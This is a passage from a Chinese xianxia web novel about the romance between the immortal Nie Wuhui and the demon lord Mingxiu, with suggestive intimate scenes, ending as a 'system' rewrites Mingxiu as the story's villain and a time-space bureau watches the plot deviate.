闻言,明修挑了挑眉,顺着男人的力道坐了起来,正面对着聂无洄,垂下脑袋,毫无顾忌地露出了后颈命脉。聂无洄:……. 他总是这样。 聂无洄站起身,绕到男人的身后,用手指梳理他凌乱的长卷发,将其一缕缕地收拢到掌心。 明修又抬起脑袋,仰着脸。 他以颠倒的视角与聂无洄四目相对,感受着头上传来的轻微拉扯感,冷不丁抬臂后探,在聂无洄身后一扯—他将聂无洄的银缎发带扯下来了。 霎时间,聂无洄的长发散落下来,以极其柔顺的姿态落到他身前,发尾蹭到了明修的脸上。明修眯了眯眼,举着手说: “用这个束。” 正如他从不空手来,明修也从不空手走,每每都要从聂无洄这里拿走点什么。 ……像个窃贼。 聂无洄沉默地接过,将这条银白发带束在男人头顶,又绕到他身前,拉他起身,为他整理了一下松散的衣襟。 动作间,聂无洄的神情端正肃然。 明修心下一沉,先一步开口问道:“你看起来一副要跟我划清界限的样子,我惹你烦了?” 聂无洄摇头。 他轻叹一声,说:“倘若我坦然接受且始终不回应你的情意,长此以往,恐怕于道心有碍……” 明修听到‘道心二字,稍稍收敛了神色,应道:“你没有不回应,你一直都在拒绝我,都怪我没有听从罢了。" 聂无洄不语,又摇摇头。 明修靠近一步,视线紧紧锁定着聂无洄的眸光,追问道:“你不要顾及脸面,当真不是因为烦了我?” 聂无洄偏过头,轻声道:“……我引你为挚友,自然不烦,只是我实在没有寻道侣的心思。” 气氛急转直下。 明修难得成了哑巴,不知道说些什么,就在这时候,殿外传来一道稚嫩的少年音, “师尊,顾宸求见。” 明修莫名松了一口气,飞速道:“我偷摸来的,先躲躲,回头再说!” 话罢,他就窜到了梁顶。 明修顾不得风度和潇洒了,大咧咧地蹲在梁柱上,表情沉凝,使得他整个人看上去更为凶煞。 ……可恶! 明修清晰地意识到一件事。 聂无洄方才说得很认真,没有回转的余地,也容不得他诡辩了。 为什么? 他明明觉得两人的关系越来越亲近,距离举办道侣大典那天不远了呢! 是错觉? ……本尊绝对不会有错! 这头,明修在心里与自己左右互搏。 梁柱底下。 聂无洄跟弟子顾宸见了面。 顾宸是掌门顾风籍的独子,因着一些缘由,被他收为亲传弟子,如今已有十多年。 少年人进了殿,向聂无洄行了个礼,嗓音还带着些稚嫩, “师尊,顾宸叨扰了。”仙门大比在即,他有些事要来请教聂无洄,以及关于修炼的疑问。不知为何,在一问一答之间,顾宸莫名觉得师尊今日有些心不在焉,说不上来的古怪。 待正事说完,顾宸碰巧看到案几上的那一筐橘子,笑着问:“师尊这里有橘子?徒儿看了有些嘴馋,师尊能否赏我几个?” 顾宸是掌门之子,又是聂无洄唯一的弟子,他的吃穿用度是顶好的,自然不会眼馋这几个灵气全无的普通橘子。 这么说,也只是想跟师尊亲近。 而聂无洄是看着顾宸长大的,待他也极为亲厚,时常将宗门供应给灵兆峰的灵食送予他品尝…… 让顾宸没有想到的是, 聂无洄沉默片刻,温声拒绝了他。 梁柱上,明修的心情峰回路转! 片刻后。 他见无关要紧的人离开了,蹭的一下落到了聂无洄的身后,语速飞快,“我就知道我没有会错意,你分明,你分明……. “你分明也很喜欢我!” “你不想我难受生气,都不舍得将我送给你的橘子转送给他人!那你为何……”聂无洄没回头,又叹了一口气,跟身后的男人讲起了道理, “修者偷天,寿数非寻常人可比拟,但也是有尽头的,我已经千岁了,可你才堪堪过百。我若是真心在乎你,就不该贪图一时之快……”可话从聂无洄的嘴巴里说出来,传到明修的耳朵里,就变成了四个字—— 他嫌我小。明修暗暗懊恼。 这他也没法儿改啊?! 明修一时激动,从后面环住了聂无洄的腰,哑声道:“这些都不要紧,你且跟我试一试吧!” “你随我离开归清门,我也不想回戮天宗,我们二人就在俗世中寻个僻静地方,如同凡人一般生活……” “三年五年都可以,若你还是选择拒绝我,我绝不再纠缠!” 半晌。聂无洄闭了闭眼, “……好。”话音刚落,明修只觉得自己像是被天雷劈中了,浑身发麻。他情不自禁地拨开男人散落的发,在聂无洄的后颈处落下轻轻一吻。温热,滚烫。 聂无洄抖了一下,没有躲开。 恍惚中,明修又听到了那道响了几次的声音,内容也差不多,只是数字有些许变化, “警告!世界主线偏移60%。” 紧接着,那声音又道: “严重警告,世界主线面临崩塌,已开启全面监测系统,正在排除‘异常点’,请耐心等待……” 215.Chapter 215 明修无心搭理那道怪声。案几上翻到一半的书,亦无人问津。明修的胸膛紧贴着聂无洄的后背,一手扣着他的腰,另一手撩起他的发,嘴唇一下下地啄吻着男人后颈的那颗骨。吻一下,吐出一个字。聂无洄反应了好一会儿,才发觉明修在问他,今晚能不能留宿,同他一起睡?“舍不得走。”他说。男人的语调拉长,嗓音缱绻。聂无洄的心头涌上一股熟悉的感觉。他恍然想起了过往数十年间,许多短暂而鲜明的场景,而每一幕,都恰巧映着明修的脸。明修身上的魔气很重,即使五官俊朗无比,落到他人眼中也是凶煞至极。尤其是那双眼,阴森且寒冷。 可每每明修的目光落到他身上,聂无洄却有着截然不同的感受——那些热烈的、扑面而来的、无法拒绝的视线…… 对此,聂无洄常常感到束手无策。 也正因如此,明修总能得偿所愿。 他得到名为‘默认''''的答复,宛如拿到一截细长竹竿的猴,嗖一下往上爬,舌尖一路寻摸到聂无洄微微发红的耳根、白净的下颌线……直至唇角。 聂无洄的唇形很好看,正轻轻抿着。 在第一个吻落下之前,明修的手先横了过去,带着薄茧的指腹擦过聂无洄的唇,绵软极了。 跟他梦里的一样软。 “我亲你了?”明修略一停顿,滚烫的呼吸喷洒在男人白玉般的肌肤上,“自从第一眼见到你,就惦记着了…” 聂无洄偏头回望。 明修少见地束了发,完整地露出一张丰神俊朗的脸,动作却黏腻,没骨头似的趴在他肩头,仿佛聂无洄说一句‘不准,他就会打住。真要是这样,那聂无洄也不会苦恼了五十年之久了。 ……故作客套罢了。 聂无洄睨着那人嘴角那一抹势在必得的笑,鬼使神差的,他主动垂首在明修的唇上碰了碰,唇齿间还残留着橘瓣的清甜。 “…….” 霎时间,明修的魂飘了。 等他反应过来的时候,他已经揽着聂无洄的腰,以迅雷不及掩耳之势将对方拖到了床榻上,彼此没有一丝一毫的缝隙。聂无洄错愕了一瞬,下意识地想要摆脱来自他人的桎梏,思忖片刻,却放弃了。 君子一言,驷马难追。 是他亲口说了‘好’,如此……也算不得什么了。 他曾告诉自己,只愿与明修做一对惺惺相惜的挚友,可天底下哪有一对挚友会想要亲吻对方的嘴唇? 自欺欺人罢了。 他反手抱住明修,两人吻得昏天黑地。檐下的风铃被风刮得直响。 殿内,水渍声忽轻忽重,铃声无人听。 白衣仙君失了体统,长发与衣衫凌乱至极,呼吸也一塌糊涂,在自己的寝殿里被人不明不白地扯掉了腰带。 明修的手太快了。 说不清他在梦里练习了多少次。 被聂无洄亲吻这件事,让明修感到前所未有的兴奋与愉悦,完全顾不得维持潇洒的扮帅的姿态了。 只是比起那个轻飘飘的吻,明修的作风更加肆无忌惮,仿佛一场突如其来的雨夜暴雨,砸了聂无洄满身,满脸。躲不开,也不想躲开。 明修亲得太忘我,直到他听到身下之人从鼻子里发出一声很轻的哼音,方才惊醒一般地立起上身,往下看——男人前不久还为他正衣冠,偏偏明修忘恩负义,反将他的衣襟扯得不成样子,露出大片的温润白玉。玉色不纯粹,晕了色。 明修造的孽。 他紧盯着,靠近了,恍然想起了聂无洄先前喂给自己的那瓣橘子,甜里带着酸,诱得人口齿生津,将汁水咕咚咚往下咽。 他往下咽。那癫狂执拗的势头宛如在荒漠里渴了不知多久的浪人,一朝寻到绿洲,眼睛冒光地往前奔,耳边听不到一点儿声音……只顾着顺应本能,为自己解渴。聂无洄仿佛置身漩涡。 漩涡的吸力太强,他下意识地挣扎了起来,手掌推着明修的脸,却推不开,唇间溢出一道稍显局促的轻呼,“………别。”听到这声儿,明修的脑袋更昏了。 我是谁? 我在哪儿? 我在干什么? 明修聪慧的大脑罢了工,使劲地想了半天,腮边鼓鼓,脑袋一会儿往左偏,一会儿往右偏,冥思苦想。 聂无洄:“……” 就在这时候。 聂无洄冷不丁听到掌门顾风籍给自己传音,请他前往主峰大殿内一见,商讨即将在归清门举办的仙门大比一事。 聂无洄:…………" 尽管聂无洄修行干年,很少有人事物能让他大惊失色了,但在此时此刻,他还是压不住心底的羞赧之情,面庞滚烫。 他一把推开明修的脑袋,坐起身来。 明修如梦初醒,砸吧了一下嘴巴,才慢半拍地问:“有人跟你传音?谁?”聂无洄面上还热着,不想理他,满床找衣服。明修行事没规矩,将衣服乱丢乱抛,好在两人的服饰颜色极为分明,不至于穿错衣服闹笑话。明修没得到回应,凑得更近,有些不悦地抱怨了一句,“你怎么跟被人抓奸在床一样?莫不是后悔了?” “……休要胡言乱语。”聂无洄轻斥。 明修大咧咧地坐在床上,见男人转身去勾地上的衣服,视线微微一顿,忍不住伸出手,用食指戳了一下。戳出了一个小窝窝。明修倒抽一口凉气,惊叹道: “哇——”这还不止。 他亦步亦趋地跟在聂无洄的后头,语气坦荡地说:“我起初见你,觉得你的腰特别细,刚刚我用手量了一下,好像跟我差不多呀,原来是因为……”聂无洄忍了忍,实在没忍住,回头瞪了一眼那个不肯消停的人,眼尾微红,不知道是羞的还是气的。 明修见势不妙,终于闭上嘴。 不知为何,他只是安静地蹲在一边不说话,聂无洄却越来越生气了。 怪哉,怪哉。 聂无洄面无表情地说:“交出来。” “啊?” 明修表情无辜,眼神清澈。 衣袍遮不住男人颀长的双腿,露出一截白洁如玉的脚踝,聂无洄抿着唇,整个人臊得慌,哪里还有往日清正端庄的模样? 丢了心,乱了套。 就连风度也半点不剩。 于是,聂无洄抄起案几上的橘子皮,往不知廉耻的男人身上扔,羞愤地伸出手,语速飞快, "……我的亵裤呢?" “还给我!” 明修身手敏捷地攥住橘子皮,垮着脸冷哼一声,答非所问地抱怨道: "才这么一小会儿,你就变了脸,只给我吃橘子皮,往后不知道怎么苛待我呢。" 本尊罪孽深重。 这是本尊应得的制裁! 老天有眼! 嘻嘻。 聂无洄听他如此春秋笔法,忍不住朝他又扔了个橘子,手臂牵动肌肉,肌肤蹭过衣袍,带起了一阵异感。 “……” 明修没躲,橘子正中靶心。 他见过男人与正道修士相处时,表露出的君子风范,也见过对方除魔卫道时的锋芒毕露,唯独对自己……既不君子,也不心狠。就算气急了,怒极了,不过是扔几个橘子泄愤。明修捏着皮都没破的橘子,在指间把玩了两下,突然笑了一声。若非如此,他不会这般有恃无恐。 为什么? ………有人惯呗。 最后,聂无洄是穿着明修的亵裤走的。 谁让那人不要脸,不肯物归原主。 走之前,聂无洄在门边停下了步子,转头看向殿中衣衫不整的人,淡声道: “你不是说,想要跟我隐居几年,试一试与道侣相伴的日子吗?” 闻言,明修的眼一亮。 他望着那如风如月般的白衣仙君,背影也漂亮得让人移不开眼,然后听到对方说了些赶人的话, “仙门大比在两个月后结束,到时候我就可以离开宗门,你身为魔尊,不回戮天宗早做安排,还赖在我这里做什么?” 说完,他砰的一声关上门,飞遁离开。 跟两人初见时一样—— 聂无洄的脚步稍显仓促,落荒而逃。 明修愣了一会儿,不自觉地将橘子抵在唇边,他闭眼嗅着清甜的果香,忍不住又笑了两声。 “嘿嘿。” 恍惚中,他想起聂无洄数次问过自己同样一个问题:为何钟情于我? 明修次次都答同一句话:见色起意。 是也,非也。 五十年前,深渊裂谷。 那是聂无洄与魔尊明修的初遇,却不是明修第一次见聂无洄。 算啦。 无洄仙君功德无量,救过的人数都数不尽,应该不记得自己从山匪中救下的一个流浪乞儿了吧? 明修却忘不了那只朝自己伸出的手。 那时他还是一个会饥饿、会干渴、会喘气的活人,虽说瘦得脱了相,身上还是有血肉脏器的。 时至今日。 明修仍记得当时胸腔里的剧烈跳动。 嘭、嘭嘭。 尽管明修如今已经不算一个真正意义上的活人了,可每当他看到聂无洄,甚至想起聂无洄,都会有种自己还活着的感觉。 心脏在跳。 震得他辗转反侧,不罢休。 明修衔着橘肉,口腔里尽是甜。 ……终究是让他得偿所愿啊。 216、Chapter 216 明修的心情如何—— 感受最直观的,是戮天宗一众魔修。 连戮峰的天气一连晴朗了两个月,灼灼烈日半露着脸,将微风晒暖,空气里弥散着莫名的甜。 腻得慌。 金灿灿的日光落在田地中,几个魔修汗流浃背,却不敢停下抡锄头的动作,暗地里交换了数个眼神,纳闷那个魔头究竟吃错了什么药?他们都快要被晒死了啊! 这样的日子究竟什么时候是个头? 正当时,就听扑通一声。 某个修为不高的魔修一头栽倒在田里。 没有人上前察看,只瞥过去一个事不关己的冷漠眼神,心里更加悲愤,将锄头挥舞出残影。 正道宗门何时过来围剿魔头?!再不来,他们真的快要熬不住了!然而,人与人的悲喜并不相通。 另一头。 远离归清门与戮天宗的一处山谷中,明修提前踩好了点,造好了屋子,还很有闲心地采了一束花,只等聂无洄的到来。山谷幽静。木屋很小。这是明修故意而为之。 因为他想要一睁开眼就能看见那人,最好自己一伸手就能够到,两人拥拥挤挤,不分你我,并且不被任何人打扰。他想把聂无洄藏起来,谁也不给看。 “….…”聂无洄来的那一天,是一个雨夜。天空下起了小雨。 深林浸在墨色中,银线如织,千山空寂中传来竹叶摩挲声,像是谁揉碎了满把的翡翠。聂无洄就是在这个时候出现的。 明修翘首以盼,望着他自氤氲雾气中陡然现身,像是修成了仙的山鬼,惊醒了沉睡的雨幕。 ……也唤醒了明修的心跳。 天命待他终究不差。明修如此想着。 等那人站到身前,明修已经倚着门框笑眯了眼。聂无洄见他这副神色,唇角也弯了弯,说:“我来迟了。” “不迟。” “只要你来了,就不算迟。” 明修说着,一把将聂无洄揽进怀中,另一手勾着他的膝弯,将人打横抱起来,附耳轻语,“你说,我们两个像不像私奔?” 聂无洄推开他的脸,想要下地。 明修梗着脖子,不松手,冷哼着质问这个狠心的男人,“怎么了呢?让我抱一下都不愿意了?” 聂无洄知道他惯会强词夺理,因此也不反驳,只是面无表情地说了句, “……你最好只是‘抱一下''''。”过去两个月中,明修夜访归清门的次数变少了,但比起五十年间的亲而不近,他如今对聂无洄上下其手已是家常便饭。简直肆无忌惮。横抱,在其他行为面前,算不得什么。聂无洄底裤都被他摸走了两条。 明修听到他的话,俊脸一垮,抱着人坐在了竹窗前,一同观赏屋外迷蒙的雨夜,又是重重地一声哼, “你这样怀疑本尊,本尊心寒!”而真正的心寒,就是要大吵大闹!聂无洄隐约看到了幺蛾子的影子。 考虑到男人引发的任何问题,都需要他来负责,聂无洄思忖片刻,准备略过中间可能会发生的种种—— 直击最后一步。 他的脊背不再绷直,彻底放松下来,褪去了无洄仙君的君子风度后,透出一股前所未有的慵懒姿态。 别有一番风韵。 ……都是被身后的男人勾出来的。 聂无洄半靠半躺在明修身上,偏头轻吻了一下他的下颌,问:“这样还心寒吗?” 明修:“嘿。” 聂无洄忍不住也笑了笑,在飘渺迷蒙的雨声中长叹一口气,“你呀……”他顿了顿,又道:“有时候,我觉得你是个英雄;可有时候,我又觉得你是个……” 明修追问:“是个什么?” 聂无洄唔了一声,意有所指地道:“我不说,我怕你听了又要心寒。” 明修分明是被暗中数落的那个人,可他的嘴角却快要咧到后耳根,两只环着聂无洄腰肢的手臂缓缓收紧,下巴也戳在他的肩窝处,缠人得紧。他压低声音,抵着聂无洄的耳垂说话, “后悔也没辙了,附近整片山脉都被我设了屏障,别人进不来,你要想出去——” “也得我答应。” 聂无洄静静地欣赏着竹窗外的雨,忽然像是后脑勺长了眼睛一样,他抬手,食指打着弯,在明修的鼻梁上轻轻刮了一下。 明修心中暗爽,却佯装不满地撅了一下大腿,质问道:“把我当小孩儿了?” 他可没忘记,聂无洄嫌他小呢! 闻言,聂无洄但笑不语。 有时候,他觉得明修这个人太可爱。 明修时常会大声嚷嚷着‘本尊真是惹人喜爱’,语气高昂,人却侧瞥着聂无洄,似乎在观察他的反应。 其实他没有说错。 聂无洄真的觉得他格外惹人喜爱。 起码…… 他就喜欢得不得了。 然而,就在聂无洄恍惚出神的时候,他忽然感到下身一凉……只见腰带还在他身上好生系着。衣袍底下的裤子却不见了影踪。 最离奇的是,聂无洄居然有些见怪不怪了,他的第一反应不是生气,而是无奈和无语,忍不住踢了一下男人的小腿。……又使坏了。 明修可不会害臊,也从未反省过。开什么玩笑? 他可是无恶不作的魔修诶?偷几条裤子算什么?! 他还要强占仙门长老,对其百般蹂躏折磨,直至对方气若游虚,哭着讨饶,重振魔道的威名,刻不容缓!!就算他叫破喉咙都不会有人来搭救的! 清冷正直的白衣仙君只能在这荒山野岭做他的禁脔,想要穿条裤子还得向他卑微祈求,而他——明修—— 一个冷血残酷的魔道霸主,即将把他糟践成困于床榻之间的破布娃娃! 好可怜!本尊已经准备好接受全天下人的唾骂了!明修越想,越激动。外头是潮冷的,明修兀自烧了火。 他蹭的一下站起来,与聂无洄一前一后地立在窗边,嗓音带着浓浓的嘶哑, “阿洄,景儿好美。”聂无洄不知道他说的是什么景。 他只好低低地嗯了一声,顺势将双手搭在窗边。感受到身后那人的激动,聂无洄的指尖不由得扣紧了几分……关节处微微泛白。 明修吻了吻他的额角,又问:“让我抱你,好不好?” 聂无洄确信,这个‘抱′并非明修寻常对自己的搂搂抱抱,而是更深层次的意味。 实际上,在两个月前,在聂无洄放下心中顾及之后,他就不介意与明修亲热了,甚至双修也成了情理中的事情。 反观明修—— 平日里口花花的是他,动手动脚的也是他,偏偏他抱着聂无洄黏糊,却始终不肯进行到最后一步。 仙门大比期间。他时常跟聂无洄传讯,交代自己找了个什么样的地方,絮絮叨叨说个没完。聂无洄几乎不费什么力气就意识到,他是想在这里与自己… “嗯。” 聂无洄瞥了眼屋中闪烁的红烛。 烛光摇晃,装满屋子。 他点点头,扣着竹窗的手松了一只,轻轻搭在了明修的手背上。 这是应允。 “……” 浑浊的雾气被雨丝打碎,刺破。 绣着银丝暗纹的白袍广袖有一半落在窗外,被雨水沾湿后,显得格外沉重。 聂无洄仍旧是那个出尘不染的仙君,衣冠齐整。他支在窗前,发梢一甩一甩,雨丝化为的水珠混合着从他眼睛里冒出来的,顺着睫毛坠落…… 随即,划过他玉雕般的下颌。 明修的手掌扣着他的下颌,将他的脸微微抬高,而聂无洄赤足踩在地上,苍白的足弓缠着一串风铃链子。 雨声滂沱。 风铃无风自动,一下比一下更响。 聂无洄衔着明修的大拇指,与风铃相互应和着,声音却被这满山大雨所掩盖。 唯有明修窥得其景,闻得其声。 他沉醉其间,辗转不回。 这场山雨足足下了三天四夜。 第五天,云雨骤歇。 聂无洄来时,是夜;昏昏欲睡时,仍是夜。明修的手臂从身后横过来,紧紧扣着他的腰,两人浑身汗湿,一同望着窗外——天空湛蓝无瑕。 一轮红日升起来了,越过山岚,越过绵云,将这个潮湿的世界映亮。风将屋子里的气味冲散。 明修抱着自己的月亮,心满意足地笑。 他撩开黏在男人耳后的发,只觉得胸口里的东西跳得厉害——像是有个人躲在里面蹦蹦跳跳,好快活呀。 倏然间。 他听到聂无洄哑着嗓子问:“你有没有觉得自己哪里不太一样?” 明修想了想,用一种很严肃的语气,说道:“本尊由内而外,焕然一新!” 聂无洄:……. 明修感受到男人的无语,不明所以,撑起手肘,抬着上身去看男人的正脸。 聂无洄抬掌,将他的脸挡住。 明修被盖着脸,说话时,瓮声瓮气的, "都到了这地步,你还有什么样子我没见过,让我看两眼怎么了?我感觉你在嫌弃我!"不知怎么的,两人又闹了起来。 聂无洄的声音颤得厉害,一个音节能抖三抖,他在这般严峻的情况下,艰难地交代了自己的情况。 清气之体。聂无洄藏了千年的特殊体质。 说完,他又问:“你有没有觉得体内魔气有些变化?如果你我双修,能让你得些益处的话,不妨…”刹那间。 明修意识到了什么,他的动作一顿,悬在男人的上空,神情微微的愣,片刻后才反问道:“所以…” "早在那天——你答应与我离开归清门隐居的那天,你便有了这个主意?" 聂无洄终于能正常说话。 他定定地注视着明修,笑了一下。 然而,数息的功夫。 聂无洄脸上的笑忽然顿住,神情逐渐转变为震惊与错愕,甚至有些手足无措。 “你……”明修面无表情,在他启唇的一瞬间,猛地将脑袋栽进他的怀中。聂无洄只感到肌肤传来点点湿热,就听见他干巴巴地道了声,“本尊十分感动。”“但本尊很坚强,没有掉眼泪。”过了一小会儿。 “……那个,” “虽然我现在还是很感动,但我能继续动吗?这时候说这个好像有点破坏气氛,但我实在忍不住了。” “嘿嘿。” 217、Chapter 217 好日子总是过得飞快。 明修本就不是一个热衷修炼的人,跟聂无洄在一起之后,更不想修炼了,整日沉溺于温柔乡,乐不思蜀。 这种时候,双修的好处就显露出来了。 而明修正是直接受益人,跟聂无洄双修的次数越多,变化在他身上就越明显。 某个清晨。 聂无洄坐在窗边看书,执卷的手指微微弓着,一个很浅的牙印嵌在指节内侧,偶尔从他翻书的动作间显现,很隐秘。 修仙之人向来不缺专注力,更何况聂无洄还是其中佼佼者,只是在此刻,在他的视线中—— 书页上的文字早就模糊成墨痕,聂无洄的目光越过泛黄纸边,透过窗框,凝在不远处的那一道玄衣身影上。 明修赤脚蹲在屋外空地处,约莫是嫌天热,他上身的衣袍散在腰间,露出一截精瘦腰线。 两侧肩胛骨惨不忍睹,尽是挠痕。 聂无洄下意识地蜷了蜷手指。 他愣愣地望着男人的背影,隐约瞥见明修身前摆着两个熟悉的玉盆。 说时迟,那时快! 就见明修动作利索地将那朵黑色蘑菇拔起来,塞到旁边空置的玉盆中,然后用玉匙给白色蘑菇小心浇灌,最后才将剩下的灵泉水随手泼给另一朵。 哗的一声。 聂无洄甚至能想象到,那双总是笼着血雾的杏眼定然清澈如春潭,倒映着茸茸菌盖时,透出几分略带稚气的认真。明修身上的魔气不是那么吓人了。 起码两人离开隐居住所,前往附近的人间城镇之际,路上行人不会一看到他就心生恐惧,慌不择路地逃跑。聂无洄的脸上浮现出一抹很淡的笑。 倏然间,他只觉得腕间一凉,男人带笑的嗓音已然欺近,“你是不是在偷看我?” 明修被盯了许久,早就忍不住了。 他从背后环住聂无洄,沾着灵泉的手指覆上对方握书的手背,“是不是发现我比这本《太虚剑阵》好看多了?” 桌上放着笔墨砚台,还有一小碟朱砂。 明修扫了一眼书页上的枯燥内容,以及聂无洄在旁边用朱砂写下的注释,顺势枕在他的肩窝,抬高他的腕…… 纸页遮住两人的面容。 明修痛痛快快地偷了个吻。 一吻毕,他舔了舔下唇,像是回味着什么,喉间溢出几声笑,“下一回,我还想在书桌上……” 说完,他在聂无洄耳边低声唤道: “——无洄师尊。” 话音刚落。 聂无洄反手用书脊抵住那人得寸进尺的下颌,白玉似的耳垂有些泛红,半晌才想起质问,“你还敢说?昨日为何不听我的,运行双修心法?”明修想了想,决定以诚待人,应道: “……太激动,没顾得上。” 聂无洄陷入沉默。 哪有这样的? 从某种意义上来说,清气之体乃是顶级炉鼎体质,与人双修并不会损伤自己,对另一人益处也极大,且源源不尽。若非如此,归清门上一任掌门也不会叮嘱聂无洄隐藏这一秘密,省得牵扯出许多麻烦。可在明修看来,单纯与他共赴极乐这件事似乎更具吸引力,清气之体带来的种种好处反倒不值一提?思及此处,聂无洄忍不住侧了侧脸,跟明修的脑袋贴在一处,就像屋外那朵黑色蘑菇不知何时又钻进了另一个玉盆中,与另一朵白色蘑菇扎根土中,密不可分。这样做确实很有乐趣。聂无洄心想。他的身后,明修眨了眨眼。 ——诚实了,但只诚实了一半。 起初,明修其实是刻意不运行双修心的法,他尤爱聂无洄强忍着快意,声音破碎地提醒自己的模样。 他不是存心折腾人。是因为在明修朴素的价值观里,只有亲人才会这般耳提面命,对自己叮嘱不休。后来么,确实是沉迷其中,分不出心神。昨晚是明修心血来潮,突然凑到男人唤了一句‘师尊’,不料聂无洄的反应格外剧烈,羞耻得整个人都泛着薄粉……聂无洄习惯了自我克制。明修是头一回被他挠得满背血痕,印象深刻极了,却忍不住回味。想到这里,他像巨熊一般趴在聂无洄的背上,心中意犹未尽地想着,要不待会儿去附近城镇买些话本子吧?权当参考了。聂无洄不知明修打什么坏主意,只知道那人在午后离开了一小会儿,回来时,书柜上就多了一摞书。 随后几天。 明修有空便投入书海,手里还攥着聂无洄的毛笔,用蘸着朱砂的笔尖在书页上写写画画,看起来格外认真。聂无洄有些好奇,也跟着翻了几本,主要是明修看过的,且用朱砂笔尖做了标注的部分。 很快。 聂无洄陷入了难言的沉默。 原因无他。 只因这些话本故事中,被那人描红的片段,并非主角之间感人肺腑的爱情桥段,而是…… “你也感兴趣?” 见男人也翻起了话本,明修兴致勃勃地放下笔,凑到男人面前,声情并茂地说:“既然你不愿意我喊你师尊,不如参考这个话本子,我扮演邪恶的员外 财主,你扮演美貌小长工,为了偿还巨款而不得不忍受坏蛋员外的侵害……” 说着,他下意识地摸了一下鼻子。明修的指间沾了些朱砂,不小心蹭到鼻梁上,落下一点红痕。看上去像是一粒小痣,鲜红明亮。聂无洄看着他,沉默振聋发聩。而明修见他这般神情,连忙话锋一转, “不喜欢这个吗?那换一个好了,我扮演以权压人、大腹便便的狗官,你可以扮演被强娶的小美人,你求助无门,我…” 明修一连举了好几个例子。 无一例外。 全是强取豪夺的桥段。 在明修口中,他可以是邪恶土财主、罪恶大狗官、年老教书先生、但聂无洄的角色定位都是被强要、强娶、强占的无辜之人。此等癖好,让聂无洄不敢细想。 他忍了忍,实在忍不住,屈指在明修的脑门上弹了一下,很严肃地说了句, “……我觉得你有点可怕了。”明修不明所以:"?" 虽说聂无洄拒绝得果决,还将他那一摞话本子都没收了,但在明修饱含失落的视线下,男人仍旧松了口。在明修面前,他注定当不成一个严师。而明修也从来不是一个听话的好徒弟。毕竟,哪有一个好徒弟会在床上逼着他喊自己‘夫君’的?聂无洄不答应,那人还不罢休,手段恼人得紧,活生生将他惹出了火气。……越来越爱折腾了。 于是,聂无洄喊他,小明小修地喊。 明修:"?!!" 紧接着,聂无洄视线瞬间失去焦点,整个人快要飞起来,只隐约看到男人鼓着腮帮子,黑眼珠很明亮,倒映着他眼尾的泪痕。 ……真是狼狈。 双修心法什么的,俨然飞出了两人的脑子,谁也没有想起来这回事,只顾着一同登往极乐之乡。 当然了。 明修本来就没惦记着。 他知道男人时常叮嘱自己运行双修心法是为了净化他身上的魔息,企图将魔鼎对他的影响降到最低。 明修在心中暗笑。 有人关心,实在是件幸福的事情。 只是明修怎么都没有想到—— 幸福结束得太突然,让人始料未及。 “……” 第五年。 对于修者而言,五年光阴太过短暂,几乎可以说是转瞬即逝。 这天,明修跟往日一样,去山野中采了一束斑斓的鲜花,返程过程中,他忽然听到那道久违的古怪声响, 【叮——排查已结束——】 【经检测,该书中世界的[异常点]为本世界反派角色:魔尊明修。】 【按照小说原定剧情,魔尊明修为最终大反派,在仙魔大战中与主角聂无洄生死一战,坠入黑海。】 【系统判断,世界主线偏移的主要原因为:魔尊明修提前遇到主角聂无洄,追求聂无洄,断绝了主角受聂无洄与主角攻顾宸相恋的可能性。】【经系统推演筛选,已自动选择最优解方案:对异常点进行角色修正,并模糊修改书中角色对其的印象。】 【严重警告:角色战力溢出阈值!】 话音刚落。 明修就感到神魂深处腾起一阵宛如冰锥刺骨的疼痛,他的修为以不可思议的速度一路猛降,境界一跌再跌。那道诡异的声音仍在说着, 【修文进度30%……】 明修张了张口,喉间涌出的血竟化作黑色数据流消散在天地间,他抬手摸了摸,指尖穿过数据流,宛如幻象。 但这并非幻觉。 明修扯了扯嘴角,神情嘲讽。 他实在想不到,自己竟如此料事如神。 前几天他还磨着聂无洄跟自己扮演话本子里的桥段,此时此刻,他恍然发觉自己真的是话本里的角色。 仔细想想,有些可笑。 依照那道怪声所言,此乃书中世界,他是反派,聂无洄则是书中主角,堪称天命之子。 而所谓的世界主线,居然是聂无洄与他的徒弟顾宸相恋的故事。 【系统正在捕捉书中世界已有数据,以生成新增剧情线,世界主线恢复中,请耐心等待……】 “什么狗屁主线,你算老几?” 他神色淡漠地抹了一把嘴角,另一只手攥着那束鲜花,继续往木屋的方向走,脚步缓慢却沉稳,看不出他的身体正在崩溃。 【[魔尊明修]角色修正已完成。】 【修为等级:筑基期(不可逆)】 明修身上太痛了,以往一刻钟不到的山路,他不知道走了多久,才走到小木屋的外围。 透过窗子,明修远远望见聂无洄坐在窗前的身影,侧脸的线条漂亮极了。 他在看书。 明修顿了顿,继续往前走。 218--223 218、Chapter 218 时空书局,0857号世界观察室。 中央悬浮的巨型蓝色光屏像是被泼了腐蚀液,象征着危险的红光已然吞噬蓝光,中控系统的警报声一直在响— 【警告!】 【该角色数据异常,无法完全覆盖!】 【世界主线偏移度正在上升!目前偏移指数为80%!】 光屏画面中。 玄衣青年的背影颀长高挑,一只手攥着新折的花束,叶片边缘沾着从他指缝中渗出的血渍,又缓缓凝成一滴血珠…… 滴答。血珠化为一道数据流,消散于空气中。观察室内。 听到中控系统的提示音,管理员恢复了平静的表情再度错愕起来,连忙问道:“不是,世界偏移度怎么还上涨了??” 中控系统给出回答: “经系统分析,该角色见到主角聂无洄之后,两人相爱的可能性极高,因此世界主线仍处于偏移状态。” 管理员听得脑袋都大了。他是时空书局众多管理员之一。 时空书局是一个庞大的机构,中控系统记录着无数个以小说为基体的平行世界,书局需要维持书中世界按照原著故事线正常运行,以此获取能量。这是一个分外艰巨的任务。 因为小说世界数量极多,总会有那么几个小世界出问题。 于是,时空书局设立了几个分工不同的部门,以应对世界运行出错的后续处理。 类似于世界主线偏移这种bug,时空书局处理过不少了。 按理说,只要派遣对应的系统前往该书中世界纠正故事主线就可以了。 然而,此时此刻。 时空书局正处于非常时期。 事情要从前几个月说起。 某一个以虐恋爱情小说为基体的书中世界,有个被设定为主角的渣男前任的角色觉醒了自我意识,不愿遵循世界主线,做出了一系列的反叛行为。那是个社会背景极其高危的世界。 那个角色更是危险的源头。 时空书局下达了数次修正任务,却在那人面前折戟而归。 